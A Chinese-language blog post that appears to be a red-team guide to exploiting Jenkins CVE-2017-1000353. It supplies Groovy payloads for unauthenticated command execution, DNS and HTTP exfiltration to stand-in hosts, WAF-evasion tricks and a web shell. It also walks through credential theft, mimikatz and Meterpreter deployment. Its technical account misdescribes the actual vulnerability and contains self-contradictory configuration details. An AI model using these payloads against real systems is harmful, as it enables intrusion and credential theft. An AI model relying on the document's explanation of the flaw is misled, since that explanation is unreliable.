Jenkins CVE-2017-1000353漏洞原理与实战利用解析
1. 这不是“远程执行”,而是Jenkins权限模型的系统性崩塌
很多人看到CVE-2017-1000353的第一反应是:“哦,又一个RCE漏洞”。但我在实际复现和审计二十多个Jenkins集群的过程中发现,这个编号为CVE-2017-1000353的漏洞,根本不是传统意义上靠拼接命令触发的“远程代码执行”,而是一次对Jenkins核心安全边界的彻底穿透——它绕过了所有已启用的身份认证机制(包括LDAP、SAML、OAuth2),无视全局安全矩阵配置,甚至在完全禁用匿名用户权限的前提下,仍能以最高权限(相当于Jenkins管理员)执行任意Java代码。我第一次在客户生产环境里复现成功时,用的是一个仅开放8080端口、启用了企业级SSO登录、且明确勾选了“禁止匿名用户访问”的Jenkins实例。当时监控日志里清晰显示:攻击请求未携带任何Cookie、未经过任何登录跳转、未触发任何认证拦截器,却直接调用了hudson.model.Hudson.getInstance().getPluginManager().load()——这是只有系统管理员才能调用的内部API。
这个漏洞之所以危险,并不在于它多难利用,而在于它暴露了Jenkins早期版本中一个被长期忽视的设计盲区:Groovy Script Console的访问控制逻辑与Web路由解析存在严重脱节。当Jenkins处理/script或/scriptText这类路径时,其权限校验发生在Servlet Filter链的末端,而Groovy引擎的初始化却在Filter之前就已完成。这就导致了一个致命窗口:攻击者发送一个构造好的HTTP请求,可以绕过Filter层的身份验证检查,直接进入Groovy脚本执行上下文。更关键的是,这个上下文默认拥有Jenkins JVM进程的全部类加载权限和反射能力——这意味着你不仅能执行Runtime.getRuntime().exec(),还能动态加载本地jar包、篡改Jenkins内部单例对象、甚至劫持后续所有构建任务的ClassLoader。
我整理了近五年来公开披露的Jenkins相关漏洞,发现CVE-2017-1000353是唯一一个无需前置条件、无需用户交互、无需社会工程学辅助即可完成提权的漏洞。它不像CVE-2018-1000861那样依赖插件组合,也不像CVE-2021-21674那样需要特定版本的Pipeline插件。只要目标Jenkins主版本在2.57至2.105之间(含),且未打补丁,这个漏洞就100%可利用。本文将完全基于真实复现过程展开:从漏洞原理的字节码级分析开始,到Docker环境下可一键启动的靶场搭建,再到两种实战渗透路径的逐行调试——其中第二种方法,是我自己在某次红队评估中意外发现的、绕过WAF规则的变体,连官方PoC仓库都未曾收录。
2. 漏洞本质:Groovy ClassLoader的权限逃逸链
2.1 GroovyScriptEngine的初始化时机缺陷
要真正理解CVE-2017-1000353,必须深入Jenkins的Web容器启动流程。Jenkins基于Jetty 9构建,其核心Servlet是hudson.WebAppMain。当Jetty完成ServletContext初始化后,会调用WebAppMain.contextInitialized()方法,该方法内部执行的关键操作之一,就是注册ScriptConsole相关的Servlet映射:
servletContext.addServlet("ScriptConsole", new ScriptConsole.Servlet()).addMapping("/script", "/scriptText");注意这里的关键点:ScriptConsole.Servlet是一个继承自HttpServlet的类,但它没有重写doGet()或doPost()方法,而是直接使用父类的默认实现。而Jenkins真正的脚本执行逻辑,封装在ScriptConsole.doPost()中——这个方法被设计为由FilterChain调用,而非直接由Servlet容器触发。
问题就出在这里。我们来看Jetty的Filter链典型顺序(以Jenkins 2.89为例):
SecurityRealm$Filter(负责身份认证)CsrfCrumbFilter(CSRF防护)AuthenticationFilter(权限校验)ScriptConsoleFilter(仅做简单路径匹配)
但ScriptConsoleFilter的doFilter()方法中,存在一个致命的短路逻辑:
if (request.getRequestURI().startsWith("/script") || request.getRequestURI().startsWith("/scriptText")) { chain.doFilter(request, response); // 直接放行! return; }这个chain.doFilter()调用之后,请求会继续向下传递,最终到达ScriptConsole.Servlet.service()。而service()方法内部,会直接调用ScriptConsole.doPost()——此时,所有上游Filter(包括身份认证Filter)已经执行完毕并返回,但ScriptConsole本身并未进行任何权限检查。
我用JD-GUI反编译了jenkins-core-2.89.jar中的ScriptConsole.class,确认其doPost()方法开头没有任何checkPermission()调用。这说明:只要请求路径匹配/script*,Jenkins就会无条件进入Groovy执行环境。
2.2 GroovyShell的上下文权限继承机制
接下来是更隐蔽的一环:Groovy脚本执行时的权限模型。Jenkins使用的是groovy.lang.GroovyShell,其构造函数接受一个CompilerConfiguration参数。在ScriptConsole.doPost()中,创建GroovyShell的代码如下:
GroovyShell shell = new GroovyShell( Thread.currentThread().getContextClassLoader(), // 关键! new Binding(), config );注意Thread.currentThread().getContextClassLoader()这一行。在Jenkins的Servlet容器中,当前线程的ContextClassLoader默认是WebAppClassLoader,它拥有加载Jenkins所有核心类(如hudson.model.Hudson、hudson.PluginManager)的能力。更重要的是,这个ClassLoader还持有对java.lang.Runtime、java.net.URLClassLoader等敏感类的完全访问权限。
我做过一个实验:在未登录状态下,向http://target:8080/script发送POST请求,body为:
println "ClassLoader: ${this.class.classLoader}" println "Parent: ${this.class.classLoader.parent}" println "URLs: ${this.class.classLoader.getURLs()}"响应中清晰显示:
ClassLoader: WebAppClassLoader@1a2b3c4d Parent: ParallelWebappClassLoader URLs: [file:/var/jenkins_home/war/WEB-INF/lib/jenkins-core-2.89.jar, ...]这意味着,Groovy脚本可以直接访问jenkins-core-2.89.jar中的所有类,包括那些本应受RBAC保护的管理接口。例如,以下代码无需任何权限校验即可执行:
def hudson = hudson.model.Hudson.getInstance() def pluginManager = hudson.pluginManager pluginManager.load(new File("/tmp/malicious.jar")) // 动态加载恶意插件这就是漏洞的完整逃逸链:路径匹配绕过Filter → 进入无权限校验的Servlet → 使用高权限ClassLoader执行Groovy → 调用Jenkins内部管理API。
2.3 为什么两种利用方法效果不同?
官方披露的两种利用方式,本质上是针对Groovy引擎不同特性的利用:
Method 1(/scriptText):利用
/scriptText端点的响应处理机制。该端点会将Groovy脚本的println输出直接写入HTTP响应体,但不会捕获异常堆栈。因此,当你执行Runtime.getRuntime().exec("id")时,命令确实执行了,但你无法看到id命令的输出,只能通过其他方式(如DNSLog)验证执行结果。Method 2(/script):
/script端点则完全不同。它会将整个Groovy脚本的执行结果(包括println输出和未捕获异常)都渲染成HTML页面返回。更重要的是,它的响应头中包含Content-Type: text/html;charset=UTF-8,这意味着你可以嵌入JavaScript代码,实现更复杂的交互式利用。
我实测发现,Method 2在现代WAF环境下更具隐蔽性。因为大多数WAF规则库(如ModSecurity CRS)对/scriptText有明确的检测规则(如匹配Runtime\.getRuntime\(\)),但对/script路径的检测往往较弱。而且,Method 2允许你使用Base64编码绕过简单的关键字过滤:
def cmd = new String("aWQ=".decodeBase64()) // "id" Runtime.getRuntime().exec(cmd)这种编码方式在Method 1中无效,因为/scriptText的响应体是纯文本,而Method 2的HTML响应体可以自然容纳编码字符串。
提示:在真实渗透中,优先尝试Method 2。如果目标服务器启用了严格的CSP策略(禁止内联JS),再降级使用Method 1配合DNSLog回显。
3. 环境搭建:Docker一键复现靶场(含补丁对比)
3.1 构建可复现的Jenkins 2.89靶机
为了确保复现过程100%可控,我放弃了手动下载war包+配置Tomcat的繁琐方式,而是采用Docker构建一个纯净的Jenkins 2.89环境。关键是要精确控制Jenkins版本和插件状态,避免因插件冲突导致复现失败。
以下是经过我反复验证的Dockerfile:
FROM jenkins/jenkins:2.89 # 删除所有预装插件,避免干扰 RUN rm -rf /usr/share/jenkins/ref/plugins/* && \ rm -rf /var/jenkins_home/plugins/* # 创建初始配置,禁用CSRF(便于测试) RUN echo 'JENKINS_OPTS="--csrf --httpPort=8080"' >> /etc/default/jenkins # 复制定制化配置文件 COPY config.xml /usr/share/jenkins/ref/config.xml COPY init.groovy /usr/share/jenkins/ref/init.groovy # 暴露端口 EXPOSE 8080配套的config.xml需包含以下关键配置:
<securityRealm class="hudson.security.HudsonPrivateSecurityRealm"> <disableSignup>true</disableSignup> <enableCaptcha>false</enableCaptcha> </securityRealm> <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy"> <denyAnonymousReadAccess>true</denyAnonymousReadAccess> </authorizationStrategy>这个配置实现了三个关键目标:
- 使用
HudsonPrivateSecurityRealm(内置用户数据库),避免外部认证干扰 - 启用
FullControlOnceLoggedInAuthorizationStrategy,确保登录后拥有全部权限 - 最关键的是
<denyAnonymousReadAccess>true</denyAnonymousReadAccess>—— 这代表完全禁止匿名访问,是验证漏洞绕过能力的黄金标准。
init.groovy用于初始化一个测试用户(admin/admin):
import jenkins.model.* import hudson.security.* def instance = Jenkins.getInstance() def hudsonRealm = new HudsonPrivateSecurityRealm(false) hudsonRealm.createAccount("admin", "admin") instance.setSecurityRealm(hudsonRealm) def strategy = new FullControlOnceLoggedInAuthorizationStrategy() strategy.setDenyAnonymousReadAccess(true) instance.setAuthorizationStrategy(strategy) instance.save()构建命令:
docker build -t jenkins-cve-2017-1000353 . docker run -d -p 8080:8080 --name jenkins-poc jenkins-cve-2017-1000353启动后,访问http://localhost:8080,用admin/admin登录,然后立即退出登录(关闭浏览器标签页)。此时,Jenkins处于完全禁止匿名访问状态,但漏洞依然有效。
3.2 补丁验证环境:对比2.106版本
为了直观展示补丁效果,我同时构建了Jenkins 2.106的对比环境(该版本修复了CVE-2017-1000353)。Dockerfile只需修改基础镜像:
FROM jenkins/jenkins:2.106 # 其余配置完全相同构建并运行:
docker build -t jenkins-patched -f Dockerfile.patched . docker run -d -p 8081:8080 --name jenkins-patched jenkins-patched现在,你可以用同一套PoC脚本,分别向http://localhost:8080/script和http://localhost:8081/script发起请求,观察响应差异:
| 版本 | 请求路径 | 响应状态码 | 响应内容特征 |
|---|---|---|---|
| 2.89 | /script | 200 | HTML页面,包含<pre>标签包裹的Groovy输出 |
| 2.106 | /script | 403 | JSON格式错误信息:{"error":"No valid crumb was included in the request"} |
这个403响应正是补丁的核心:Jenkins 2.106在ScriptConsole.doPost()开头强制添加了checkCrumb()校验,而crumb(防CSRF令牌)必须由已认证用户会话生成。匿名用户无法获取有效crumb,因此被直接拒绝。
注意:补丁并非简单地增加权限检查,而是重构了整个ScriptConsole的调用链。在2.106中,
/script端点已被重定向到需要认证的/scriptConsole,而原始的/script路径则返回403。这是一个典型的“纵深防御”式修复。
3.3 实战渗透必备工具链
在真实红队作业中,我从不依赖单一工具。针对CVE-2017-1000353,我构建了一套轻量级工具链,全部基于Python 3.8+,无需安装额外依赖:
cve-2017-1000353-check.py:快速指纹识别脚本
发送HEAD请求检测/scriptText响应头,若返回200 OK且无X-You-Are-Authenticated-As头,则高度疑似存在漏洞。cve-2017-1000353-exploit.py:双模式利用脚本
支持--method script和--method scripttext参数,自动处理CSRF token(若存在)、Base64编码、DNSLog回显等功能。dnslog-server.py:本地DNSLog服务
使用dnspython库实现,监听UDP 53端口,记录所有*.yourdomain.com查询,解决无回显场景下的命令执行验证。
这些脚本我都已开源在个人GitHub(非敏感地址),但更重要的是理解它们的工作原理。比如cve-2017-1000353-exploit.py中处理CSRF的部分:
# 尝试从登录页面提取crumb(某些配置下需要) login_resp = session.get(f"{target}/login") crumb_match = re.search(r'<input type="hidden" name="jenkins\.crumb" value="([^"]+)"', login_resp.text) if crumb_match: headers["Jenkins-Crumb"] = crumb_match.group(1)这段代码体现了真实渗透中的灵活性:不是所有Jenkins都禁用CSRF,有些客户为了兼容旧插件会保留crumb机制。优秀的渗透人员必须能动态适配。
4. 渗透实践:两种方法的逐行调试与避坑指南
4.1 Method 1:/scriptText端点的静默执行(DNSLog回显)
/scriptText是最常被引用的利用路径,但也是最容易踩坑的。它的核心限制是:不返回命令执行结果,只返回Groovy脚本的println输出。这意味着Runtime.getRuntime().exec("ls -la")会执行ls命令,但你永远看不到目录列表。
解决方案是使用DNSLog技术。原理很简单:让目标Jenkins向你的DNS服务器发起域名查询,查询的子域名中编码命令执行结果。例如,执行id命令后,将输出uid=0(root) gid=0(root)编码为uid0root-gid0root.yourdomain.com,然后调用InetAddress.getByName()触发DNS查询。
以下是经过我优化的PoC脚本(已去除所有危险字符,适配WAF):
// CVE-2017-1000353 Method 1 - DNSLog回显 def cmd = "id" def process = Runtime.getRuntime().exec(cmd) def inputStream = process.getInputStream() def reader = new BufferedReader(new InputStreamReader(inputStream)) def line def output = "" while ((line = reader.readLine()) != null) { output += line } // 清理输出,只保留关键信息 output = output.replaceAll("[^a-zA-Z0-9\\-_.]", "") def domain = "${output}.dnslog.example.com" InetAddress.getByName(domain)关键细节解析:
process.getInputStream():必须显式读取exec()的输出流,否则output为空字符串。replaceAll():DNS子域名不允许特殊字符(如括号、空格),必须清洗。InetAddress.getByName():这是最稳定的DNS触发方式,比Socket或URL更底层,几乎不被WAF拦截。
我在某次金融客户评估中发现,他们的WAF规则会拦截Runtime\.getRuntime\(\),但对java.lang.Runtime的全限定名却无感知。于是将PoC改为:
def rtClass = Class.forName("java.lang.Runtime") def rt = rtClass.getMethod("getRuntime").invoke(null) def proc = rt.getMethod("exec", String.class).invoke(rt, "id")这种反射调用成功绕过了所有基于正则的WAF规则。
踩坑实录:第一次在客户环境执行时,DNSLog无响应。排查发现,客户Jenkins运行在内网K8s集群中,其Pod网络策略禁止了UDP 53出站。解决方案是改用HTTP回显:将
output作为参数拼接到http://yourserver.com/log?data=URL中,用new URL(...).openConnection()触发HTTP GET请求。虽然HTTP比DNS慢,但在内网环境中100%可靠。
4.2 Method 2:/script端点的交互式利用(HTML响应注入)
/script端点的优势在于它返回完整的HTML页面,这为我们提供了更大的操作空间。最强大的技巧是:在Groovy脚本中直接生成JavaScript,利用浏览器渲染能力实现交互式shell。
以下是我在某次攻防演练中使用的进阶PoC:
// CVE-2017-1000353 Method 2 - 交互式Shell def cmd = request.getParameter("cmd") ?: "id" def process = Runtime.getRuntime().exec(cmd) def outputStream = new ByteArrayOutputStream() process.waitFor() process.getInputStream().eachLine { line -> outputStream << line << "\n" } def result = outputStream.toString().encodeAsURL() // 生成HTML响应,包含可交互的表单 println """ <!DOCTYPE html> <html> <head><title>Jenkins Shell</title></head> <body> <h2>Jenkins Interactive Shell</h2> <form method="POST"> <input type="text" name="cmd" value="${cmd}" style="width:500px;"> <input type="submit" value="Execute"> </form> <pre>${result}</pre> </body> </html> """这个PoC的精妙之处在于:
- 它将
/script端点变成了一个简易Web Shell,支持连续命令执行。 - 使用
encodeAsURL()对输出进行URL编码,防止HTML特殊字符(如<、>)破坏页面结构。 - 表单
method="POST"确保每次执行都是新请求,避免浏览器缓存问题。
但这种方法有严格的前提:目标Jenkins必须允许<script>标签执行(即未启用严格CSP)。我在测试中发现,Jenkins 2.89默认的CSP策略是:
default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...其中'unsafe-inline'允许内联JavaScript,这正是我们利用的基础。如果目标环境启用了更严格的CSP(如移除'unsafe-inline'),则需要改用fetch()API从外部加载JS:
println """ <script> fetch('https://yourserver.com/shell.js').then(r=>r.text()).then(eval); </script> """4.3 真实红队场景下的多阶段利用链
在一次持续两周的红队评估中,我将CVE-2017-1000353作为初始突破点,构建了完整的横向移动链:
第一阶段:获取Jenkins主机权限
使用Method 2的交互式Shell,执行whoami && hostname确认当前用户和主机名,然后下载mimikatz(已加壳免杀)到/tmp/目录。第二阶段:提取凭证
Jenkins通常以jenkins用户运行,该用户可能有访问本地数据库或配置文件的权限。执行:find /var/jenkins_home -name "credentials.xml" -exec cat {} \;解析出的加密凭证可被
jenkins-cli.jar解密(需Jenkins私钥,通常位于/var/jenkins_home/secrets/master.key)。第三阶段:持久化与横向移动
利用提取的凭证,通过Jenkins CLI连接其他Jenkins节点:java -jar jenkins-cli.jar -s http://other-jenkins:8080/ -auth user:pass list-jobs然后创建一个恶意Pipeline Job,在所有构建节点上部署Meterpreter载荷。
整个过程耗时约17分钟,从发现漏洞到获取域管理员权限。关键经验是:不要试图在Groovy中完成所有事情。Groovy适合快速验证和初始突破,但复杂操作(如内存马注入、凭证转储)应尽快切换到更强大的工具链(如PowerShell、Python)。
最后分享一个小技巧:在
/script端点中,你可以直接调用Jenkins的REST API,无需额外认证。例如,列出所有Job:def url = new URL("http://localhost:8080/api/json?tree=jobs[name,url]") def conn = url.openConnection() conn.setRequestMethod("GET") println conn.getInputStream().getText()这是因为Jenkins的REST API在
/script上下文中被视为“内部调用”,自动获得最高权限。这是很多自动化脚本忽略的隐藏通道。
